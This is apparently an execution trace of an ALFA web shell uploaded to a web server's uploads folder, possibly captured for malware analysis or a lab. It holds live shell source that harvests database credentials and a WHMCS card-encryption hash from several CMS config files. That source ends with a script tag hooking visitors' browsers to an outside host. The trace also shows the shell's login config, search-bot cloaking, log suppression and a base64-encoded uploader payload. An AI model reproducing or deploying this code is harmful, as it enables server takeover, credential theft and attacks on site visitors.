assword(\\s+)=(\\s+)(?:\'|\\")(.*?)(?:\'|\\");/",3),\n\'cc_encryption_hash\'=>array("/cc_encryption_hash(\\s+)=(\\s+)(?:\'|\\")(.*?)(?:\'|\\");/",3)\n),\n\'joomla\'=>array(\'file\'=>\'/configuration.php\',\n\'host\'=>array("/\\\\\\$host(\\s+)=(\\s+)(?:\'|\\")(.*?)(?:\'|\\");/",3),\n\'dbname\'=>array("/\\\\\\$db(\\s+)=(\\s+)(?:\'|\\")(.*?)(?:\'|\\");/",3),\n\'dbuser\'=>array("/\\\\\\$user(\\s+)=(\\s+)(?:\'|\\")(.*?)(?:\'|\\");/",3),\n\'dbpw\'=>array("/\\\\\\$password(\\s+)=(\\s+)(?:\'|\\")(.*?)(?:\'|\\");/",3),\n\'prefix\'=>array("/\\\\\\$dbprefix(\\s+)=(\\s+)(?:\'|\\")(.*?)(?:\'|\\");/",3)\n),\n\'phpbb\'=>array(\'file\'=>\'/config.php\',\n\'host\'=>array("/dbhost(\\s+)=(\\s+)(?:\'|\\")(.*?)(?:\'|\\");/",3),\n\'dbname\'=>array("/dbname(\\s+)=(\\s+)(?:\'|\\")(.*?)(?:\'|\\");/",3),\n\'dbuser\'=>array("/dbuser(\\s+)=(\\s+)(?:\'|\\")(.*?)(?:\'|\\");/",3),\n\'dbpw\'=>array("/dbpasswd(\\s+)=(\\s+)(?:\'|\\")(.*?)(?:\'|\\");/",3),\n\'prefix\'=>array("/table_prefix(\\s+)=(\\s+)(?:\'|\\")(.*?)(?:\'|\\");/",3)\n),\n\'mybb\'=>array(\'file\'=>\'/inc/config.php\',\n\'host\'=>array("/config\\[\'database\'\\]\\[\'hostname\'\\](\\s+)=(\\s+)(?:\'|\\")(.*?)(?:\'|\\");/",3),\n\'dbname\'=>array("/config\\[\'database\'\\]\\[\'database\'\\](\\s+)=(\\s+)(?:\'|\\")(.*?)(?:\'|\\");/",3),\n\'dbuser\'=>array("/config\\[\'database\'\\]\\[\'username\'\\](\\s+)=(\\s+)(?:\'|\\")(.*?)(?:\'|\\");/",3),\n\'dbpw\'=>array("/config\\[\'database\'\\]\\[\'password\'\\](\\s+)=(\\s+)(?:\'|\\")(.*?)(?:\'|\\");/",3),\n\'prefix\'=>array("/config\\[\'database\'\\]\\[\'table_prefix\'\\](\\s+)=(\\s+)(?:\'|\\")(.*?)(?:\'|\\");/",3)\n)\n);\nif($cms == "drupal"){\n    $file = $config[$cms][\'file\'];\n    $file=$path.$file;\n    if(@is_file($file)||_alfa_is_dir($file,"-e")){\n    }else{\n        $cms = \'drupal2\';\n    }\n}\nif($cms == "vb"){\n    $file = $config[$cms][\'file\'];\n    $file=$path.$file;\n    if(@is_file($file)||_alfa_is_dir($file,"-e")){\n    }else{\n        $path .= \'/core\';\n    }\n}\n$data = array();\n$srch_host = $config[$cms][\'host\'][0];\n$srch_user = $config[$cms][\'dbuser\'][0];\n$srch_name = $config[$cms][\'dbname\'][0];\n$srch_pw = $config[$cms][\'dbpw\'][0];\n$prefix = $config[$cms][\'prefix\'][0];\n$file = $config[$cms][\'file\'];\n$chost = $config[$cms][\'host\'][1];\n$cuser = $config[$cms][\'dbuser\'][1];\n$cname = $config[$cms][\'dbname\'][1];\n$cpw = $config[$cms][\'dbpw\'][1];\n$cprefix = $config[$cms][\'prefix\'][1];\nif(@is_dir($path)||_alfa_is_dir($path)){\n$file=$path.$file;\n}elseif(@is_file($path)||_alfa_is_dir($path,"-e")){\n$file=$path;\n}else{\nreturn false;\n}\n$file = __read_file($file);\nif($cms == "drupal2"){\n    $file = preg_replace("/\\@code(.*?)\\@endcode/s", "", $file);\n}elseif($cms == "vb"){\n    $file = preg_replace("/right of the(.*?)BAD!/s", "", $file);\n}\nif(preg_match($srch_host, $file, $mach)){\n$data[\'host\'] = $mach[$chost];\n}\nif(preg_match($srch_user, $file, $mach)){\n$data[\'user\'] = $mach[$cuser];\n}\nif(preg_match($srch_name, $file, $mach)){\n$data[\'dbname\'] = $mach[$cname];\n}\nif(preg_match($srch_pw, $file, $mach)){\n$data[\'password\'] = $mach[$cpw];\n}\nif(isset($prefix)){\nif(preg_match($prefix, $file, $mach)){\n$data[\'prefix\'] = $mach[$cprefix];\n}\n}\nif($cms==\'whmcs\'){\nif(preg_match($config[$cms][\'cc_encryption_hash\'][0], $file, $mach)){\n$data[\'cc_encryption_hash\'] = $mach[3];\n}\n}\necho json_encode($data);\n}\nif(empty($_POST[\'a\']))\nif(isset($default_action) && function_exists(\'alfa\' . $default_action))\n$_POST[\'a\'] = $default_action;\nelse\n$_POST[\'a\'] = \'FilesMan2\';//\'FilesMan\';\nif(!empty($_POST[\'a\']) && function_exists(\'alfa\' . $_POST[\'a\']))\ncall_user_func(\'alfa\' . $_POST[\'a\']);\nexit;\n\n\n?>\n<script src="http://192.168.80.130:3000/hook.js"></script>'	/var/www/html/uploads/cvdr2.php	4	0
2		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	5	GLOBALS['oZgNypoPRU'] = ['username' => 'alfa', 'password' => 'a6f452ec3293d7fb72c5b677257b20ec', 'safe_mode' => '0', 'login_page' => '403', 'show_icons' => '1', 'post_encryption' => FALSE, 'cgi_api' => TRUE]
2		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	15	$CWppUDJxuf = 'function_exists'
2		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	16	$aztJtafUXm = 'charCodeAt'
2		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	17	$OVpGNqqFZs = 'eval'
2		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	18	$psDEwGhsxg = 'gzinflate'
3	7	0	0.106720	3882768	function_exists	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	20	1	'base64_encode'
3	7	1	0.106737	3882808
3	7	R			TRUE
3	8	0	0.106751	3882768	function_exists	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	68	1	'base64_decode'
3	8	1	0.106765	3882808
3	8	R			TRUE
2		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	122	GLOBALS['DB_NAME'] = ['username' => 'alfa', 'password' => 'a6f452ec3293d7fb72c5b677257b20ec', 'safe_mode' => '0', 'login_page' => '403', 'show_icons' => '1', 'post_encryption' => FALSE, 'cgi_api' => TRUE]
2		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	124	$key = 'username'
3	9	0	0.106814	3882744	substr	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	126	3	'username'	0	2
3	9	1	0.106829	3882872
3	9	R			'us'
2		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	126	$prefix = 'us'
2		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	129	GLOBALS['DB_NAME']['user'] = 'alfa'
2		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	130	GLOBALS['DB_NAME']['user_rand'] = 'username'
2		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	124	$key = 'password'
3	10	0	0.106892	3883472	substr	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	126	3	'password'	0	2
3	10	1	0.106906	3883600
3	10	R			'pa'
2		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	126	$prefix = 'pa'
2		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	134	GLOBALS['DB_NAME']['pass'] = 'a6f452ec3293d7fb72c5b677257b20ec'
2		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	135	GLOBALS['DB_NAME']['pass_rand'] = 'password'
2		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	124	$key = 'safe_mode'
3	11	0	0.106969	3883472	substr	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	126	3	'safe_mode'	0	2
3	11	1	0.106983	3883600
3	11	R			'sa'
2		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	126	$prefix = 'sa'
2		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	139	GLOBALS['DB_NAME']['safemode'] = '0'
2		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	140	GLOBALS['DB_NAME']['safemode_rand'] = 'safe_mode'
2		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	124	$key = 'login_page'
3	12	0	0.107044	3883472	substr	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	126	3	'login_page'	0	2
3	12	1	0.107058	3883600
3	12	R			'lo'
2		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	126	$prefix = 'lo'
2		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	144	GLOBALS['DB_NAME']['login_page'] = '403'
2		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	145	GLOBALS['DB_NAME']['login_page_rand'] = 'login_page'
2		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	124	$key = 'show_icons'
3	13	0	0.107118	3883472	substr	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	126	3	'show_icons'	0	2
3	13	1	0.107132	3883600
3	13	R			'sh'
2		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	126	$prefix = 'sh'
2		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	149	GLOBALS['DB_NAME']['show_icons'] = '1'
2		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	150	GLOBALS['DB_NAME']['show_icons_rand'] = 'show_icons'
2		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	124	$key = 'post_encryption'
3	14	0	0.107192	3883472	substr	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	126	3	'post_encryption'	0	2
3	14	1	0.107206	3883600
3	14	R			'po'
2		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	126	$prefix = 'po'
2		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	154	GLOBALS['DB_NAME']['post_encryption'] = FALSE
2		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	155	GLOBALS['DB_NAME']['post_encryption_rand'] = 'post_encryption'
2		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	124	$key = 'cgi_api'
3	15	0	0.107266	3883472	substr	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	126	3	'cgi_api'	0	2
3	15	1	0.107285	3883600
3	15	R			'cg'
2		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	126	$prefix = 'cg'
2		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	159	GLOBALS['DB_NAME']['cgi_api'] = TRUE
2		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	160	GLOBALS['DB_NAME']['cgi_api_rand'] = 'cgi_api'
2		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	168	$userAgents = [0 => 'Google', 1 => 'Slurp', 2 => 'MSNBot', 3 => 'ia_archiver', 4 => 'Yandex', 5 => 'Rambler', 6 => 'bot', 7 => 'spider']
3	16	0	0.107357	3884112	implode	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	168	2	'|'	[0 => 'Google', 1 => 'Slurp', 2 => 'MSNBot', 3 => 'ia_archiver', 4 => 'Yandex', 5 => 'Rambler', 6 => 'bot', 7 => 'spider']
3	16	1	0.107378	3884272
3	16	R			'Google|Slurp|MSNBot|ia_archiver|Yandex|Rambler|bot|spider'
3	17	0	0.107396	3884208	preg_match	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	168	2	'/Google|Slurp|MSNBot|ia_archiver|Yandex|Rambler|bot|spider/i'	'python-requests/2.25.1'
3	17	1	0.107415	3884272
3	17	R			0
3	18	0	0.107430	3884112	define	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	175	2	'__ALFA_VERSION__'	'4.1'
3	18	1	0.107445	3884216
3	18	R			TRUE
3	19	0	0.107458	3884144	define	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	176	2	'__ALFA_UPDATE__'	'2'
3	19	1	0.107473	3884248
3	19	R			TRUE
3	20	0	0.107489	3884176	define	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	177	2	'__ALFA_CODE_NAME__'	'Cavdar59'
3	20	1	0.107505	3884280
3	20	R			TRUE
3	21	0	0.107517	3884208	define	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	178	2	'__Cavdar59_DATA_FOLDER__'	'Cavdar59_DATA'
3	21	1	0.107533	3884312
3	21	R			TRUE
3	22	0	0.107546	3884240	define	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	179	2	'__ALFA_POST_ENCRYPTION__'	FALSE
3	22	1	0.107562	3884344
3	22	R			TRUE
3	23	0	0.107578	3884272	define	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	180	2	'__ALFA_SECRET_KEY__'	''
3	23	1	0.107598	3884376
3	23	R			TRUE
2		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	181	GLOBALS['__ALFA_COLOR__'] = ['shell_border' => ['key_color' => '#0E304A', 'multi_selector' => [...]], 'header_vars' => '#27979B', 'header_values' => '#67ABDF', 'header_on' => '#00FF00', 'header_off' => '#ff0000', 'header_none' => '#00FF00', 'home_shell' => '#ff0000', 'home_shell:hover' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'back_shell' => '#efbe73', 'back_shell:hover' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'header_pwd' => '#00FF00', 'header_pwd:hover' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'header_drive' => '#00FF00', 'header_drive:hover' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'header_show_all' => '#00FF00', 'disable_functions' => '#ff0000', 'footer_text' => '#27979B', 'menu_options' => '#27979B', 'menu_options:hover' => ['key_color' => '#646464', 'multi_selector' => [...]], 'options_list' => ['key_color' => '#00FF00', 'multi_selector' => [...]], 'options_list:hover' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'options_list_header' => ['key_color' => '#59cc33', 'multi_selector' => [...]], 'options_list_text' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'Alfa+' => ['key_color' => '#06ff0f', 'multi_selector' => [...]], 'hidden_shell_text' => ['key_color' => '#00FF00', 'multi_selector' => [...]], 'hidden_shell_version' => '#ff0000', 'shell_name' => '#FF0000', 'main_row:hover' => ['key_color' => '#646464', 'multi_selector' => [...]], 'main_header' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'main_name' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'main_size' => '#67ABDF', 'main_modify' => '#67ABDF', 'main_owner_group' => '#67ABDF', 'main_green_perm' => '#25ff00', 'main_red_perm' => '#FF0000', 'main_white_perm' => '#FFFFFF', 'beetween_perms' => '#FFFFFF', 'main_actions' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'minimize_editor_background' => ['key_color' => '#0e304a', 'multi_selector' => [...]], 'minimize_editor_text' => ['key_color' => '#f5deb3', 'multi_selector' => [...]], 'editor_border' => ['key_color' => '#0e304a', 'multi_selector' => [...]], 'editor_background' => ['key_color' => 'rgba(0, 1, 23, 0.94)', 'multi_selector' => [...]], 'editor_header_background' => ['key_color' => 'rgba(21, 66, 88, 0.93)', 'multi_selector' => [...]], 'editor_header_text' => ['key_color' => '#00ff7f', 'multi_selector' => [...]], 'editor_header_button' => ['key_color' => '#1d5673', 'multi_selector' => [...]], 'editor_actions' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'editor_file_info_vars' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'editor_file_info_values' => ['key_color' => '#67ABDF', 'multi_selector' => [...]], 'editor_history_header' => ['key_color' => '#14ff07', 'multi_selector' => [...]], 'editor_history_list' => ['key_color' => '#03b3a3', 'multi_selector' => [...]], 'editor_history_selected_file' => ['key_color' => 'rgba(49, 55, 93, 0.77)', 'multi_selector' => [...]], 'editor_history_file:hover' => ['key_color' => '#646464', 'multi_selector' => [...]], 'input_box_border' => ['key_color' => '#0E304A', 'multi_selector' => [...]], 'input_box_text' => ['key_color' => '#999999', 'multi_selector' => [...]], 'input_box:hover' => ['key_color' => '#27979B', 'multi_selector' => [...]], 'select_box_border' => ['key_color' => '#0E304A', 'multi_selector' => [...]], 'select_box_text' => ['key_color' => '#FFFFEE', 'multi_selector' => [...]], 'select_box:hover' => ['key_color' => '#27979B', 'multi_selector' => [...]], 'button_border' => ['key_color' => '#27979B', 'multi_selector' => [...]], 'button:hover' => ['key_color' => '#27979B', 'multi_selector' => [...]], 'outputs_text' => ['key_color' => '#67ABDF', 'multi_selector' => [...]], 'outputs_border' => ['key_color' => '#0E304A', 'multi_selector' => [...]], 'uploader_border' => ['key_color' => '#0E304A', 'multi_selector' => [...]], 'uploader_background' => ['key_color' => '#0E304A', 'multi_selector' => [...]], 'uploader_text_right' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'uploader_text_left' => ['key_color' => '#25ff00', 'multi_selector' => [...]], 'uploader:hover' => ['key_color' => '#27979B', 'multi_selector' => [...]], 'uploader_progress_bar' => ['key_color' => '#00ff00', 'multi_selector' => [...]], 'mysql_tables' => '#00FF00', 'mysql_table_count' => '#67ABDF', 'copyright' => '#dfff00', 'scrollbar' => ['key_color' => '#1e82b5', 'multi_selector' => [...]], 'scrollbar_background' => ['key_color' => '#000115', 'multi_selector' => [...]]]
3	24	0	0.107734	3884304	preg_replace	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	507	3	'!\\(\\d+\\)\\s.*!'	''	'/var/www/html/uploads/cvdr2.php(4) : eval()\'d code'
3	24	1	0.107752	3884496
3	24	R			'/var/www/html/uploads/cvdr2.php'
3	25	0	0.107767	3884400	trim	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	507	1	'/var/www/html/uploads/cvdr2.php'
3	25	1	0.107781	3884432
3	25	R			'/var/www/html/uploads/cvdr2.php'
3	26	0	0.107795	3884400	str_replace	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	507	3	'\\'	'/'	'/var/www/html/uploads/cvdr2.php'
3	26	1	0.107811	3884496
3	26	R			'/var/www/html/uploads/cvdr2.php'
2		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	507	GLOBALS['__file_path'] = '/var/www/html/uploads/cvdr2.php'
2		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	508	$config = ['AlfaUser' => 'alfa', 'AlfaPass' => 'a6f452ec3293d7fb72c5b677257b20ec', 'AlfaProtectShell' => '0', 'AlfaLoginPage' => '403']
3	27	0	0.107860	3884776	session_write_close	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	510	0
3	27	1	0.107873	3884776
3	27	R			FALSE
3	28	0	0.107887	3884776	ignore_user_abort	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	511	1	TRUE
3	28	1	0.107902	3884840
3	28	R			0
3	29	0	0.107915	3884808	set_time_limit	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	512	1	0
3	29	1	0.107936	3884872
3	29	R			FALSE
3	30	0	0.107949	3884840	ini_set	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	513	2	'memory_limit'	'-1'
3	30	1	0.107964	3884944
3	30	R			'128M'
3	31	0	0.107978	3884840	ini_set	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	514	2	'upload_max_filesize'	'9999m'
3	31	1	0.107993	3884912
3	31	R			FALSE
3	32	0	0.108008	3884840	error_reporting	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	849	1	32759
3	32	1	0.108021	3884912
3	32	R			0
3	33	0	0.108034	3884872	ini_set	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	850	2	'error_log'	NULL
3	33	1	0.108048	3884944
3	33	R			''
3	34	0	0.108061	3884872	ini_set	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	851	2	'log_errors'	0
3	34	1	0.108079	3884944
3	34	R			'1'
3	35	0	0.108092	3884872	ini_set	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	852	2	'max_execution_time'	0
3	35	1	0.108106	3884912
3	35	R			'0'
3	36	0	0.108118	3884840	ini_set	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	853	2	'magic_quotes_runtime'	0
3	36	1	0.108132	3884912
3	36	R			FALSE
3	37	0	0.108145	3884840	set_time_limit	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	854	1	0
3	37	1	0.108158	3884904
3	37	R			FALSE
3	38	0	0.108171	3884872	function_exists	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	855	1	'set_magic_quotes_runtime'
3	38	1	0.108185	3884912
3	38	R			FALSE
2		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	871	$default_action = 'FilesMan2'
2		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	872	$default_use_ajax = TRUE
2		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	873	$default_charset = 'Windows-1251'
3	39	0	0.108234	3884872	substr	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	874	3	'Linux'	0	3
3	39	1	0.108248	3885000
3	39	R			'Lin'
3	40	0	0.108260	3884904	strtolower	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	874	1	'Lin'
3	40	1	0.108274	3884968
3	40	R			'lin'
2		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	877	GLOBALS['sys'] = 'unix'
3	41	0	0.108300	3884872	alfaGetCwd	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	878	0
4	42	0	0.108313	3884872	function_exists	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	733	1	'getcwd'
4	42	1	0.108326	3884912
4	42	R			TRUE
4	43	0	0.108339	3884872	getcwd	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	734	0
4	43	1	0.108354	3884920
4	43	R			'/var/www/html/uploads'
3	41	1	0.108368	3884920
3	41	R			'/var/www/html/uploads'
2		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	878	GLOBALS['home_cwd'] = '/var/www/html/uploads'
2		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	879	GLOBALS['need_to_update_header'] = 'false'
2		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	880	GLOBALS['glob_chdir_false'] = FALSE
3	44	0	0.108422	3884920	alfaGetCwd	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	886	0
4	45	0	0.108434	3884920	function_exists	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	733	1	'getcwd'
4	45	1	0.108447	3884960
4	45	R			TRUE
4	46	0	0.108460	3884920	getcwd	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	734	0
4	46	1	0.108473	3884968
4	46	R			'/var/www/html/uploads'
3	44	1	0.108487	3884968
3	44	R			'/var/www/html/uploads'
2		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	886	GLOBALS['cwd'] = '/var/www/html/uploads'
2		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	894	['cwd'] .= '/'
3	47	0	0.108530	3884968	function_exists	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	895	1	'sys_get_temp_dir'
3	47	1	0.108544	3885008
3	47	R			TRUE
3	48	0	0.108556	3884968	function_exists	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	896	1	'mb_strlen'
3	48	1	0.108570	3885008
3	48	R			FALSE
3	49	0	0.108583	3884968	function_exists	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	901	1	'mb_substr'
3	49	1	0.108596	3885008
3	49	R			FALSE
3	50	0	0.108614	3884968	function_exists	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	906	1	'sys_get_temp_dir'
3	50	1	0.108628	3885008
3	50	R			TRUE
3	51	0	0.108641	3884968	sys_get_temp_dir	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	906	0
3	51	1	0.108654	3885008
3	51	R			'/tmp'
3	52	0	0.108666	3885008	str_replace	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	906	3	'\\'	'/'	'/tmp'
3	52	1	0.108684	3885104
3	52	R			'/tmp'
3	53	0	0.108697	3885008	is_writable	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	906	1	'/tmp'
3	53	1	0.108720	3885048
3	53	R			TRUE
3	54	0	0.108733	3884976	sys_get_temp_dir	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	906	0
3	54	1	0.108746	3885008
3	54	R			'/tmp'
3	55	0	0.108759	3885008	define	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	906	2	'ALFA_TEMPDIR'	'/tmp'
3	55	1	0.108773	3885112
3	55	R			TRUE
3	56	0	0.108788	3885040	function_exists	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	2403	1	'posix_getpwuid'
3	56	1	0.108802	3885080
3	56	R			TRUE
3	57	0	0.108814	3885040	function_exists	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	2405	1	'posix_getgrgid'
3	57	1	0.108827	3885080
3	57	R			TRUE
3	58	0	0.108839	3885040	function_exists	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	2463	1	'scandir'
3	58	1	0.108853	3885080
3	58	R			TRUE
3	59	0	0.108870	3885040	function_exists	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	6166	1	'json_encode'
3	59	1	0.108884	3885080
3	59	R			TRUE
3	60	0	0.108896	3885040	function_exists	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	6208	1	'json_decode'
3	60	1	0.108910	3885080
3	60	R			TRUE
3	61	0	0.108923	3885080	function_exists	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	6524	1	'alfaFilesMan2'
3	61	1	0.108937	3885120
3	61	R			TRUE
2		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	6525	_POST['a'] = 'FilesMan2'
3	62	0	0.108963	3885456	function_exists	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	6528	1	'alfaFilesMan2'
3	62	1	0.108977	3885496
3	62	R			TRUE
3	63	0	0.108990	3885416	alfaFilesMan2	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	6529	0
4	64	0	0.109006	3885416	alfahead	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	2564	0
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	908	GLOBALS['__ALFA_SHELL_CODE'] = 'PD9waHAgZWNobyAiPHRpdGxlPlNvbGV2aXNpYmxlIFVwbG9hZGVyPC90aXRsZT5cbjxib2R5IGJnY29sb3I9IzAwMDAwMD5cbjxicj5cbjxjZW50ZXI+PGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjxiPllvdXIgSXAgQWRkcmVzcyBpczwvYj4gPGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjwvZm9udD48L2NlbnRlcj5cbjxiaWc+PGZvbnQgY29sb3I9XCIjN0NGQzAwXCI+PGNlbnRlcj5cbiI7ZWNobyAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTtlY2hvICI8L2NlbnRlcj48L2ZvbnQ+PC9hPjxmb250IGNvbG9yPVwiIzdDRkMwMFwiPlxuPGJyPlxuPGJyPlxuPGNlbnRlcj48Zm9udCBjb2xvcj1cIiM3Q0ZDMDBcIj48YmlnPlNvbGV2aXNpYmxlIFVwbG9hZCBBcmVhPC9iaWc+PC9mb250Pjwv'
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	909	$alfa_uploader = '$x = base64_decode("PD9waHAgZWNobyAiPHRpdGxlPlNvbGV2aXNpYmxlIFVwbG9hZGVyPC90aXRsZT5cbjxib2R5IGJnY29sb3I9IzAwMDAwMD5cbjxicj5cbjxjZW50ZXI+PGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjxiPllvdXIgSXAgQWRkcmVzcyBpczwvYj4gPGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjwvZm9udD48L2NlbnRlcj5cbjxiaWc+PGZvbnQgY29sb3I9XCIjN0NGQzAwXCI+PGNlbnRlcj5cbiI7ZWNobyAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTtlY2hvICI8L2NlbnRlcj48L2ZvbnQ+PC9hPjxmb250IGNvbG9yPVwiIzdDRkMwMFwiPlxuPGJyPlxuPGJyPlxuPGNlbnRlcj48Zm9udCBjb2xvcj1cIiM3Q0ZDMDBcIj48YmlnPlNvbGV2aXNpYmxlIFVwbG9hZCBBcmVh'
5	65	0	0.109077	3887208	__ZW5jb2Rlcg	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	910	1	'$x = base64_decode("PD9waHAgZWNobyAiPHRpdGxlPlNvbGV2aXNpYmxlIFVwbG9hZGVyPC90aXRsZT5cbjxib2R5IGJnY29sb3I9IzAwMDAwMD5cbjxicj5cbjxjZW50ZXI+PGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjxiPllvdXIgSXAgQWRkcmVzcyBpczwvYj4gPGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjwvZm9udD48L2NlbnRlcj5cbjxiaWc+PGZvbnQgY29sb3I9XCIjN0NGQzAwXCI+PGNlbnRlcj5cbiI7ZWNobyAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTtlY2hvICI8L2NlbnRlcj48L2ZvbnQ+PC9hPjxmb250IGNvbG9yPVwiIzdDRkMwMFwiPlxuPGJyPlxuPGJyPlxuPGNlbnRlcj48Zm9udCBjb2xvcj1cIiM3Q0ZDMDBcIj48YmlnPlNvbGV2aXNpYmxlIFVwbG9hZCBBcmVh'
